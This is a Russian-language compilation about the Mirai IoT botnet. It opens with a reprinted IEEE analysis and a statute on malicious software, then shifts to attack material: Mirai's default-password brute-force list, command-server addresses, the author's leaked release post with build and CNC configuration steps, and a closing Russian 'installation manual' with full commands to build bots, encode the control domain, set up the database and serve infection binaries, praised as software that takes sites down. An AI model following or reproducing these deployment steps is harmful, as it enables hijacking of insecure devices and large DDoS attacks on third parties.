IoT-ботнеты Mirai и Gafgyt нацелились на корпоративный сектор. Откуда взялся Mirai? Разбираемся, как устроен ботнет из видеокамер Принцип действия Mirai


С ростом популярности и масштабов Интернета вещей его устройства начали использоваться злоумышленниками как платформа для организации мощнейших кибератак. Степень серьезности и число громких инцидентов безопасности с участием таких устройств показали, что они самое слабое звено цепочки безопасности современных компьютерных сетей. И пусть вычислительная мощность большинства субъектов Интернета вещей далека от возможностей ПК, ее нехватка восполняется количеством устройств, объединенных в единое целое. Все они постоянно соединены с Сетью, и нередко, работая в заводской конфигурации, становятся лакомым куском для взломщиков. Огромная численность, широкое распространение и слабая защищенность устройств Интернета вещей уже привлекли немало злоумышленников, которые с их помощью активно устраивают DDoS-атаки.

«Будущее» уже здесь

Недавний широко известный пример - ботнет Mirai (от японского «будущее». - Прим. ред. ), впервые обнаруженный в августе 2016 года исследовательской группой MalwareMustDie . Сам вредонос, а также его многочисленные варианты и подражатели стали источниками самых мощных DDoS-атак в истории ИТ-индустрии.

В сентябре 2016 года сайт консультанта по компьютерной безопасности Брайана Кребса стал получать трафик со скоростью 620 Гбит/c, что на порядки больше уровня, при котором большинство сайтов выходят из строя . Примерно в то же время еще более мощная DDoS-атака, организованная с помощью Mirai (1,1 Тбит/с), поразила OVH, французского провайдера сервисов веб-хостинга и облачных сервисов . Вскоре был опубликован исходный код вредоноса, после чего злоумышленники начали сдавать в аренду ботнеты на его основе, содержавшие до 400 тыс. устройств. Последовал еще ряд атак Mirai, самая известная из которых, организованная против сервис-провайдера Dyn, в октябре 2016-го на несколько часов вывела из строя сотни сайтов, включая Twitter, Netflix, Reddit и GitHub.

Mirai обычно распространяется, вначале заражая веб-камеры, цифровые видеорегистраторы, маршрутизаторы и т. д., на которых работает одна из версий BusyBox. Затем вредонос выясняет административные верительные данные других устройств Интернета вещей путем простого перебора, используя небольшой словарь типовых для производителей сетевых устройств пар «имя-пароль».

Впоследствии мутации Mirai начали появляться буквально ежедневно, и то, что у них сохранялась способность размножаться и наносить ущерб с помощью тех же методов, что и у оригинала, указывает на хроническое пренебрежение производителей устройств Интернета вещей простейшими методами защиты. Как ни странно, при этом ботнеты, образованные из таких устройств, исследовались слабо, несмотря на опасность того, что все более сложные атаки на их базе потенциально способны подорвать всю инфраструктуру Интернета.

Принцип действия Mirai

Mirai устраивает DDoS-атаку против серверов-мишеней, активно распространяясь через устройства Интернета вещей с незащищенной конфигурацией.

Главные компоненты

Ботнет Mirai состоит из четырех основных компонентов. Бот - вредонос, заражающий устройства и распространяющий «инфекцию» среди неверно сконфигурированных устройств, а потом атакующий сервер-мишень при получении соответствующей команды от ботмастера - человека, управляющего ботами. Управляющий сервер предоставляет ботмастеру интерфейс, позволяющий проверять состояние ботнета и инициировать новые DDoS-атаки. Связь между элементами инфраструктуры ботнета обычно осуществляется через анонимную сеть Tor. Загрузчик обеспечивает распространение исполняемых файлов для всех аппаратных платформ (всего их 18, в том числе ARM, MIPS, x86 и др.) путем прямого контакта с новыми жертвами. Сервер отчетов ведет базу данных со сведениями о всех устройствах в ботнете, а только что зараженные узлы обычно общаются с этим сервером напрямую.

Схема активности и связи в ботнете

Вначале Mirai сканирует порты 23 и 2323 по случайным публичным IP-адресам. Некоторые адреса исключаются (вероятно, чтобы не привлекать внимания госструктур) - например, принадлежащие почте США, Пентагону, IANA, а также компаниям General Electric и Hewlett-Packard. На рис. 1 показаны основные этапы активности и обмена данными в ботнете.

Этап 1. Бот проводит атаку путем подбора, выясняя верительные данные устройств Интернета вещей, фабричные настройки которых не меняли. В словаре Mirai имеются 62 возможные пары «имя-пароль».

Этап 2. Обнаружив рабочие верительные данные и получив с их помощью доступ к командной строке или графическому пользовательскому интерфейсу устройства, бот передает его характеристики серверу отчетов через другой порт.

Этап 3. Ботмастер регулярно проверяет потенциальные мишени и текущее состояние ботнета, общаясь с сервером отчетов через Tor.

Этап 4. Выбрав уязвимые устройства для заражения, ботмастер выдает соответствующие команды загрузчику со всеми необходимыми подробностями, в том числе с IP-адресами и сведениями об аппаратной архитектуре.

Этап 5. Загрузчик входит в систему уязвимого устройства и заставляет ее загрузить и запустить соответствующий исполняемый файл вредоноса. Обычно загрузка происходит с помощью утилиты GNU Wget по протоколу TFTP. Примечательно, что как только вредонос запускается, он пытается защититься от конкурентов, блокируя порты, через которые часто происходит заражение, в том числе Telnet и SSH. На этом этапе свежесозданный экземпляр бота уже может общаться с управляющим сервером и получать от него команды на запуск атаки. Для этого выполняется разрешение доменного имени, жестко закодированного в исполняемом файле (по умолчанию в Mirai это cnc.changeme.com). Такой способ, используемый вместо прямого обращения по IP-адресу, позволяет ботмастеру менять IP-адреса управляющего сервера без модификации двоичных файлов и дополнительного обмена информацией.

Этап 6. Ботмастер отдает команду всем экземплярам бота начать атаку против сервера-мишени, передавая через управляющий сервер соответствующие параметры, в том числе тип и продолжительность атаки, а также IP-адреса самого сервера и экземпляров бота.

Этап 7. Боты начинают атаковать мишень, используя один из десятка доступных методов, среди которых флуд по протоколам Generic Routing Encapsulation, TCP и HTTP.

Характерные черты Mirai

В отличие от других подобных вредоносов, Mirai не пытается избежать обнаружения. Почти все стадии заражения имеют характерные признаки, которые можно распознать с помощью несложного сетевого анализа: перебор определенных верительных данных через определенные порты; отправка составленных специальным образом отчетов; загрузка характерных двоичных файлов; обмен сообщениями для сохранения соединения; передача управляющих команд с характерной структурой; практически полное отсутствие случайных элементов в трафике атаки.


На рис. 2 показаны стандартные режимы связи между загрузчиком Mirai и устройством Интернета вещей, уже зараженным, но еще не начавшим атаку. Длительность сеансов варьируется, но типы и размеры пакетов, а также последовательность сообщений подчиняются закономерностям, которые указывают на заражение именно этим вредоносом.

Варианты Mirai

Казалось бы, публикация исходного кода Mirai и его относительно громкий сетевой шум должны были привести к быстрому появлению эффективных механизмов распознавания и защиты. Однако этого не произошло: всего через два месяца после публикации исходного кода число экземпляров бота увеличилось более чем вдвое, с 213 тыс. до 493 тыс., и появилось большое число его разновидностей. Даже спустя более года после обнаружения Mirai боты по-прежнему использовали слабые конфигурации устройств тех же самых типов, что и изначально.

Большинство заражений Mirai происходят через порты TCP 23 или 2323, но в ноябре 2016 года были обнаружены штаммы вируса, обращающиеся к другим портам, в том числе к 7547, которым интернет-провайдеры пользуются для дистанционного управления маршрутизаторами клиентов. В том же месяце один из таких вариантов Mirai оставил без доступа к Сети почти миллион абонентов Deutsche Telekom.

В феврале 2017 года с помощью варианта Mirai была устроена DDoS-атака длительностью 54 часа против одного из американских колледжей. В следующем месяце появилась еще одна разновидность - на этот раз со встроенными средствами майнинга биткойнов, правда, согласно оценкам, использование устройств Интернета вещей для этих целей вряд ли могло принести большой доход.

В апреле началась активность Persirai - еще одного ботнета, созданного с использованием кодовой базы Mirai. Эта зомби-сеть была обнаружена исследователями Trend Micro, которые дали ей имя, объединив слова Persian и Mirai - первое было выбрано с учетом предположительно иранского происхождения вредоноса. Он пытается получить доступ к управляющему интерфейсу веб-камер определенных производителей через порт TCP 81. В случае успеха происходит проникновение в маршрутизатор с использованием уязвимости протокола UPnP, а затем выполняются загрузка, запуск и удаление дополнительных двоичных файлов. Вместо того чтобы выяснять верительные данные для входа в интерфейс камеры путем подбора, вирус использует брешь нулевого дня, позволяющую напрямую получить файл с паролем. Распределенная DoS-атака осуществляется посредством флуда по протоколу UDP. Согласно оценкам, всего в Сети было около 120 тыс. устройств, уязвимых для Persirai.

Другие ботнеты на основе Интернета вещей

Полагаясь на базовые принципы Mirai, создатели новых вредоносов стали пользоваться другими, более сложными механизмами для увеличения мощности и маскировки активности зомби-сетей.

В августе 2016 года исследователи из организации MalwareMustDie сообщили о первом ботнете на основе Интернета вещей, созданном с использованием языка скриптов Lua. Большую часть армии ботнета составляли кабельные модемы с процессорами ARM, работающие под управлением Linux. Вредонос имеет сложные функции - например, создает зашифрованный канал обмена данными с управляющим сервером и задает особые правила iptables для защиты инфицированных устройств от конкурентов.

Ботнет Hajime, обнаруженный в октябре 2016 года специалистами Rapidity Networks, пользуется методом заражения, похожим на Mirai. Но вместо централизованной архитектуры Hajime опирается на распределенную систему связи, применяя протокол BitTorrent Distributed Hash Tag (DHT) для обнаружения пиров (равноправных пользователей сети), и использует транспортный протокол uTorrent для обмена данными. Все сообщения шифруются по протоколу RC4. Пока что Hajime не проявил себя с отрицательной стороны, напротив, он устраняет потенциальные источники уязвимостей в устройствах Интернета вещей, используемых ботнетами, подобными Mirai, в связи с чем высказывалось мнение, что он был создан неким «Робин Гудом». Однако истинное назначение ботнета так и осталось загадкой.

Ботнет BrickerBot, который, как и Mirai, заражает ПО BusyBox, был обнаружен экспертами компании Radware в апреле 2017 года. Пользуясь верительными данными, установленными по умолчанию в сервисе SSH, а также ошибочными конфигурациями и известными уязвимостями, вредонос пытается устраивать перманентные атаки на отказ в обслуживании (PDoS, Permanent DoS) против устройств Интернета вещей, то есть достаточно разрушительные, чтобы вынуждать к повторной настройке или замене оборудования. BrickerBot портит прошивки устройств, удаляет на них файлы и меняет сетевые настройки.

Уроки

Масштабный вред, нанесенный атаками Mirai, его вариантов и подобных ботнетов, отчетливо продемонстрировал риски, создаваемые устройствами Интернета вещей для Всемирной сети. На сегодня довольно несложные вирусы способны брать такие устройства под контроль и создавать огромные разрушительные армии «зомби». Атакующих при этом привлекает простота выращивания популяции ботов. Можно перечислить пять основных причин, по которым устройства Интернета вещей особенно выгодно использовать для создания ботнетов.

  1. Постоянная, беспрепятственная активность. В отличие от ноутбуков и настольных ПК, которые часто включают и выключают, многие устройства Интернета вещей (вроде веб-камер и маршрутизаторов Wi-Fi) работают круглосуточно и часто воспринимаются хозяевами как устройства, которые не могут быть подвержены заражениям.
  2. Отсутствие защиты. Спеша выйти на рынок Интернета вещей, многие производители устройств пренебрегают безопасностью, уделяя больше внимания удобству и простоте использования.
  3. Отсутствие контроля. Большинство устройств Интернета вещей используются по принципу «настроил и забыл» - после первичной настройки сисадмины могут уделить им внимание, только если они перестают штатно работать.
  4. Внушительный трафик атак. Устройства Интернета вещей сегодня обладают достаточной мощностью и удачным расположением для создания трафика DDoS-атак, не менее мощного, чем с помощью современных настольных компьютеров.
  5. Неинтерактивные или минимально интерактивные пользовательские интерфейсы. Поскольку устройства Интернета вещей обычно требуют минимального вмешательства пользователя, заражение, скорее всего, останется незамеченным. Но даже если его заметят, пользователям недоступны простые способы устранения вредоноса за исключением физической замены устройства.

Появление DDoS-атак, осуществляемых устройствами Интернета вещей, предсказывалось давно, и сегодня количество все более сложных вариантов и подражателей Mirai растет угрожающими темпами. Такие вредоносы обычно способны действовать на многих платформах и, отличаясь малой ресурсоемкостью, могут довольствоваться минимумом оперативной памяти. Кроме того, процедура заражения относительно проста, что делает любое уязвимое устройство кандидатом на превращение в зомби, даже если его часто перезагружают. Большинство существующих на сегодня вредоносов Интернета вещей легко поддаются обнаружению и анализу, однако новые боты становятся все более скрытными.

Обычно большая часть ответственности за DDoS-атаки лежит на самих пользователях и сисадминах, пренебрегающих элементарными мерами предосторожности. Однако в случае ботнетов Интернета вещей вся ответственность лежит на производителях, выпускающих слабозащищенные продукты с фабричными настройками удаленного доступа. Кроме того, только у производителей устройств Интернета вещей имеется возможность автоматически предоставлять фирменные обновления безопасности, которые позволили бы защититься от заражений. Обычные методы повышения надежности, требующие ручного вмешательства, например частая смена паролей, для устройств Интернета вещей, невозможны, поскольку поведение таких устройств в сети основано на принципе саморегулирования. Поэтому на сегодня для Интернета вещей необходимы технические средства контроля обеспечения безопасности, а также продуманные стандарты защиты для устройств, обязательные для соблюдения всеми поставщиками.

Джеффри Воас ([email protected]) - научный сотрудник IEEE.

Constantinos Kolias, Georgios Kambourakis, Angelos Stavrou, Jefrey Voas, DDoS in the IoT: Mirai and Other Botnets. IEEE Computer, July 2017, IEEE Computer Society. All rights reserved. Reprinted with permission.

На минувшей неделе в сеть утекли исходники составляющих ботнета Mirai — использованного при рекордных DDoS атаках мощностью до 1 Tб/с.

ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ

1. Создание, распространение или использование компьютерных программ либо иной компьютерной информации, заведомо предназначенных для несанкционированного уничтожения, блокирования, модификации, копирования компьютерной информации или нейтрализации средств защиты компьютерной информации, —

наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до четырех лет, либо лишением свободы на тот же срок со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.

2. Деяния, предусмотренные частью первой настоящей статьи, совершенные группой лиц по предварительному сговору или организованной группой либо лицом с использованием своего служебного положения, а равно причинившие крупный ущерб или совершенные из корыстной заинтересованности, —

наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до пяти лет с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового, либо лишением свободы на срок до пяти лет со штрафом в размере от ста тысяч до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период от двух до трех лет или без такового и с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового.

3. Деяния, предусмотренные частями первой или второй настоящей статьи, если они повлекли тяжкие последствия или создали угрозу их наступления, —

наказываются лишением свободы на срок до семи лет.

Этот ботнет состоит в основном из камер, DVR устройств и т.д.

Заражение происходит довольно просто: интернет сканируется на открытые 80/23 (web/telnet) порты и подбираются захардкоженые учетные записи.

Мало кто из пользователей меняет пароли встроенных учетных записей (если это возможно), поэтом ботнет непрерывно пополняется новыми устройствами. Если можно сменить пароль от веб-интерфейса находясь в нем, то пароль да и само наличие telnet доступа от многих пользователей просто ускользает.

Наиболее часто используются следующие учетные записи:

enable:system
shell:sh
admin:admin
root:xc3511
root:vizxv
root:admin
root:xmhdipc
root:123456
root:888888
support:support
root:54321
root:juantech
root:anko
root:12345
admin:
root:default
admin:password
root:root
root:
user:user
admin:smcadmin
root:pass
admin:admin1234
root:1111
guest:12345
root:1234
root:password
root:666666
admin:1111
service:service
root:system
supervisor:supervisor
root:klv1234
administrator:1234
root:ikwb
root:Zte521

После получения доступа командный центр получает бинарное уведомление о наличии нового бота:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (здесь был адрес хоста)
05 = Tab
17 = 23 (Port 23 Telnet)
05 = Tab
61 64 6d 69 6e = username:admin admin
05= Tab
61 64 6d 69 6e = user password: admin

Компоненты ботнета рассчитаны на работу в разных средах, о чем говорят выявленные семплы:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Командные сервера в данный момент зафиксированы на следующих адресах:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Инструкция по созданию ботнета довольно простая, привожу as is (источник http://pastebin.com/E90i6yBB):

Greetz everybody,

When I first go in DDoS industry, I wasn’t planning on staying in it long. I made my money, there’s lots of eyes looking at IOT now, so it’s time to GTFO. However, I know every skid and their mama, it’s their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.

And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol

Also, shoutout to this blog post by malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html <- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. «We still have better kung fu than you kiddos» don’t make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL

Let me give you some slaps back —
1) port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together
2) /dev/watchdog and /dev/misc are not for «making the delay», it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb
3) You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol «And doing the backdoor to connect via HTTP on 65.222.202.53». you got tripped up by signal flow ;) try harder skiddo
4) Your skeleton tool sucks ass, it thought the attack decoder was «sinden style», but it does not even use a text-based protocol? CNC and bot communicate over binary protocol
5) you say ‘chroot(«/») so predictable like torlus’ but you don’t understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland

Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you «beat me» with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back.

Just as I forever be free, you will be doomed to mediocracy forever.

Requirements
2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading

OP Requirements
2 VPS and 4 servers
— 1 VPS with extremely bulletproof host for database server
— 1 VPS, rootkitted, for scanReceiver and distributor
— 1 server for CNC (used like 2% CPU with 400k bots)
— 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)

— To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address
— Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in.
— Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder.

Mirai uses a spreading mechanism similar to self-rep, but what I call «real-time-load». Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading.

The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections — in theory, this value lot less). I would have maybe 60k — 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.
Bot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you *need* to change to get working.

— TABLE_CNC_DOMAIN — Domain name of CNC to connect to — DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards:)
— TABLE_CNC_PORT — Port to connect to, its set to 23 already
— TABLE_SCAN_CB_DOMAIN — When finding bruted results, this domain it is reported to
— TABLE_SCAN_CB_PORT — Port to connect to for bruted results, it is set to 48101 already.

In ./mirai/tools you will find something called enc.c — You must compile this to output things to put in the table.c file

Run this inside mirai directory

./build.sh debug telnet

You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won’t affect compiling the enc tool

Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this:

./debug/enc string fuck.the.police.com
The output should look like this

XOR’ing 20 bytes of data…
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
To update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see «XOR’ing 20 bytes of data». This value must replace the last argument tas well. So for example, the table.c line originally looks like this
add_entry(TABLE_CNC_DOMAIN, «\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22», 30); // cnc.changeme.com
Now that we know value from enc tool, we update it like this

add_entry(TABLE_CNC_DOMAIN, «\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); // fuck.the.police.com
Some values are strings, some are port (uint16 in network order / big endian).
CONFIGURE THE CNC:
apt-get install mysql-server mysql-client

CNC requires database to work. When you install database, go into it and run following commands:
http://pastebin.com/86d0iL9g

This will create database for you. To add your user,

INSERT INTO users VALUES (NULL, ‘anna-senpai’, ‘myawesomepassword’, 0, 0, 0, 0, -1, 1, 30, »);
Now, go into file ./mirai/cnc/main.go

Edit these values
const DatabaseAddr string = «127.0.0.1»
const DatabaseUser string = «root»
const DatabasePass string = «password»
const DatabaseTable string = «mirai»
To the information for the mysql server you just installed

Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect.

http://pastebin.com/1rRCc3aD
The CNC, bot, and related tools:
http://dopefile.pk/a9f2n9ewk8om
How to build bot + CNC
In mirai folder, there is build.sh script.
./build.sh debug telnet

Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to ./mirai/debug folder
./build.sh release telnet

Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: «mirai.$ARCH» to ./mirai/release folder

Loader reads telnet entries from STDIN in following format:
ip:port user:pass
It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget.
./build.sh

Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this
cat file.txt | ./loader
Remember to ulimit!

Just so it’s clear, I’m not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like «My bot not connect, fix it»

Это троян, о котором все пишут последние несколько недель. Из самых впечатляющих достижений ботнетов созданных с помощью него - мощностью более терабита и в небольшой африканской стране.

Это же сколько компьютеров он поработил для этого?

Нисколько. Или, по крайней мере, очень мало. Целевые устройства Mirai вовсе не компьютеры, а IoT устройства - видеорегистраторы, камеры, тостеры… По статистике Level 3 Communications к концу октября под контролем трояна находилось уже около полумиллиона устройств.

И что, он прям любые камеры с холодильниками может захватить?

Не совсем. Mirai заточен под устройства, работающие на базе Busybox - упрощённого набора UNIX-утилит командной строки, который используется в качестве основного интерфейса во встраиваемых операционных системах. Троян атакует только определенные платформы, например ARM, ARM7, MIPS, PPC, SH4, SPARC и x86. В зоне риска находятся только устройства с заводскими настройками или совсем слабой защитой - инфицирование происходит с помощью брутфорс-атаки на порт Telnet, для которого используется список учётных данных администратора по умолчанию.

Как-то неэффективно получается - искать по всему интернету камеры без паролей - разве нет?

А вот и не угадали. Журналист из The Atlantic - арендовал сервер, и написал программу, которая изображает из себя тостер. Первая атака на “бытовой прибор” произошла уже спустя 40 минут! В течении последующих 11 часов “тостер” пытались взломать более чем 300 раз. Дело в том, что ботнеты достигли невиданных размеров, и пространство адресов IPv4 для них очень маленькое. Причём стоит помнить, что хакеры ищут уязвимые устройства не вручную - это делают участники ботнета. И, так как каждый новообращённый “работник” сам тоже начинает искать жертв, ботнет растёт в геометрической прогрессии.

В геометрической прогрессии? То есть через год ботнеты будут содержать триллионы устройств?!

Конечно нет 😀 Дело в том, что количество IoT устройств конечно. И это уже достаточно актуальная проблема. Автор Mirai признаётся , что максимальное число устройств в его сети было 380 тысяч, и после нескольких атак, когда пользователи и провайдеры стали предпринимать меры защиты, число устройств упало до 300 тысяч и продолжает снижаться.

После того, как исходный код Mirai был выложен в открытый доступ, все, кому не лень очень многие хакеры стали использовать его. В настоящее время количество крупных ботнетов на основе этого трояна - около 52. Стоит уточнить, что каждое устройство может принадлежать только к одной сети - сразу после захвата устройства зловред обеспечивает его защиту от повторного заражения. Единственный случай, когда устройство может перейти другому “владельцу” - это перезапуск устройства. По словам специалистов, после перезапуска устройство будет заражено снова в течение 30 секунд.

То есть эффективность Mirai снижается?

Да. Хакеры вынуждены бороться за ограниченное количество ресурсов, которое скорее сокращается (за счёт мер предосторжности), чем растёт. Ситуацию осложняет ещё то, что хакеры на редксоть эгоистичны - так, после крупной управляющий сервер (Command and Control, C&C) ботнета был просто выключен - теперь ботсеть оказалась бесполезной, да и неуязвимой к новым атакам. Каждая новая сеть на основе Mirai будет меньше предыдущих и сможет осуществлять только атаки малой мощности. К примеру, во время выборов в США были произведены слабые атаки на сайты Клинтон и Трампа. Они не нанесли никакого ущерба, и их вообще никто не заметил (кроме компании, которая специально следит за действиями этого трояна).

Понятно. А что ещё интересного известно про этот троян?

Он является наследником другого трояна, который известен под именами Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor и Torlus. Последний известен тем, что смог подчинить себе около миллиона веб-камер по оценке всё той же Level 3 Communications. Известно также, что большинство ботнетов используют не чистую копию Mirai, а свои, модифицированные версии (что весьма ожидаемо).

Ещё один интересный факт состоит в том, что пользователи рунета нашли в исходном коде Mirai русский след - в файле cnc/admin.go есть вывод комментариев на русском языке:

cnc/admin.go: this.conn.Write(byte(“\033))

С другой стороны, это выглядит скорее как шутка - “проверив счета…” явная калька (машинный перевод?) с “checking accounts”.


Много пиздеть не буду, скажу лишь что софт рабочий, выключает сайты на ура. И это первый русский мануал по установке Mirai. " Историческая хуйня "

Нам понадобится два VPS KVM сервера и домен. Виртуализация именно KVM, OpenVZ мимо в этот раз.
На одном сервере будем ставить сам ботнет, на втором будем сканировать ботов. (брутить)
Сервера я брал тут - https://www.nforce.com/
Проблем не было, не банили.
Для тех кто хочет просто посмотреть, как там и что, можете взять и тут тестовые сервера - https://adminvps.ru/
ВАЖНО. Сервера должны быть на базе Debian 8, и иметь как минимум 1GB RAM.
Домен любой, без разницы.
Извините конечно, но рассказывать как прикрутить домен к VPS я не буду. Это не сложно, сами разберетесь.
Подключаемся к нашему серверу через PuTTY и начинаем.

# apt-get update -y
# apt-get upgrade -y
# apt-get install unzip gcc golang electric-fence screen sudo git -y
# apt-get install mysql-server -y
# apt-get install mysql-client -y
# apt-get install apache2 -y
При установке MySQL, нужно будет создать пароль для доступа к MySQL для root пользователя. Пароль нормальный придумаете, без всяких " qwerty "
Запишите куда нибудь, он нам еще будет нужен.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y
# bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
# gvm install go1.4
# gvm use go1.4 [--default]
# gvm install go1.4 -B
# gvm use go1.4
# export GOROOT_BOOTSTRAP=$GOROOT
# gvm install go1.5
# gvm use go1.5
# gvm install go1.8
# gvm use go1.8

После установки всех утилит, качаем исходники бота - и загружаем на сервер. Командой wget, или просто через программу WinSCP.
# unzip Mirai-Source-Code-master.zip
# cd Mirai-Source-Code-Master/mirai/tools
# gcc enc.c -o enc
# ./enc string vlmi.su (свой домен пишем, который прикрутили к серверу) и жмем Enter
Тут вы увидите такой текст -
XOR"ing 14 bytes of data...
\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22
14 - тут будет другая цифра у вас, так что не волнуйтесь, всё правильно.
Копируем весь этот текст.
Открываем через nano редактор, или же через WinSCP файл table.c который находится в папке mirai/bot
Должны увидеть это - https://prnt.sc/gcxa2m
Строка add_entry(TABLE_CNC_DOMAIN - всё что в кавычках меняем на свой текст, который только что скопировали. Вместо " 30 " пишем свою цифру, которую тоже только что скопировали. Тоже самое делаем с строкой add_entry(TABLE_SCAN_CB_DOMAIN
Сохраняем, и закрываем редактор.
Идем дальше.
Открываем редактором файл mirai/cnc/main.go
Видим это - https://prnt.sc/gcxdtz
"127.0.0.1" меняем на "127.0.0.1:3306"
"password" меняем на наш MySQL пароль который вводили ранее. "
Сохраняем файл, и закрываем редактор.
Просто копируйте всю эту фигню, рассказывать зачем это нужно, не буду -

# mkdir /etc/xcompile
# cd /etc/xcompile

# tar -jxf cross-compiler-armv4l.tar.bz2
# tar -jxf cross-compiler-i586.tar.bz2
# tar -jxf cross-compiler-m68k.tar.bz2
# tar -jxf cross-compiler-mips.tar.bz2
# tar -jxf cross-compiler-mipsel.tar.bz2
# tar -jxf cross-compiler-powerpc.tar.bz2
# tar -jxf cross-compiler-sh4.tar.bz2
# tar -jxf cross-compiler-sparc.tar.bz2
# tar -jxf cross-compiler-armv6l.tar.bz2

# mv cross-compiler-armv4l armv4l
# mv cross-compiler-i586 i586
# mv cross-compiler-m68k m68k
# mv cross-compiler-mips mips
# mv cross-compiler-mipsel mipsel
# mv cross-compiler-powerpc powerpc
# mv cross-compiler-sh4 sh4
# mv cross-compiler-sparc sparc
# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin
# export PATH=$PATH:/etc/xcompile/m68k/bin
# export PATH=$PATH:/etc/xcompile/mips/bin
# export PATH=$PATH:/etc/xcompile/mipsel/bin
# export PATH=$PATH:/etc/xcompile/powerpc/bin
# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
# export PATH=$PATH:/etc/xcompile/sh4/bin
# export PATH=$PATH:/etc/xcompile/sparc/bin
# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin
# export GOPATH=$HOME/Documents/go

# go get github.com/go-sql-driver/mysql
# go get github.com/mattn/go-shellwords
Заебался.

# cd Mirai-Source-Code-master/mirai
# ./build.sh debug telnet
# ./build.sh release telnet

# mv mirai* /var/www/html
# cd /var/www/html
# mkdir bins
# mv * bins/
# cd

Теперь MySQL.
# mysql -u root -p
Тут попросят пароль. Вводим пароль который ранее установили.
# create database mirai;
# use mirai
Теперь копируем весь текст от сюда - https://pastebin.com/QVD48J8s вставляем, и жмем Enter.
Копируем текст от сюда - https://pastebin.com/JwYSgE4v
Вместо anna-senpai пишем свой логин. Любой. Так же и с myawesomepassword. Эти данные нам нужны будут для доступа в панель управления ботом.
